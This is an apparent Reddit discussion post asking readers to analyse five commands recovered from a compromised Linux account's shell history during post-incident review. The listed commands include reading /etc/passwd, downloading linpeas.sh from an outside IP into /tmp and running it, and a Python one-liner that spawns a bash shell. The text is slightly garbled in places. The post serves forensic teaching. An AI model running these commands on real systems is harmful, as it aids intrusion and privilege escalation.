r/Hacking_Tutorials • • 6h ago

Question These 5 commands from a compromised user's .bash_history - which one would you examine first?

You're doing post-incident review on a Linux box and pull the .bash_history for a low-privileged account that was later used to escalate. Here are the last few commands captured before the box was isolated:

...

cat /etc/passwd

wget

http://198.51.100.23/tools/linpeas.sh -

O /tmp/lp.sh

chmod +x /tmp/lp.sh

/tmp/lp.sh I grep -E 'SUDOlroot'

echo 'import os;

os.system("/bin/bash")' > /tmp/rev.py

&& python3 /tmp/rev.py

**Questions for discussion:**

  1. Which single command would you pivot on first, and why?

  2. What does the presence of the fourth command suggest about the attacker's methodology?

  3. Would you treat the fifth command as a successful reverse shell attempt or just an unsuccessful test? What extra logs would confirm it?

Beginners welcome — answer just the first question if you like. Post your reasoning below.

1 Upvotes

0 comments sorted by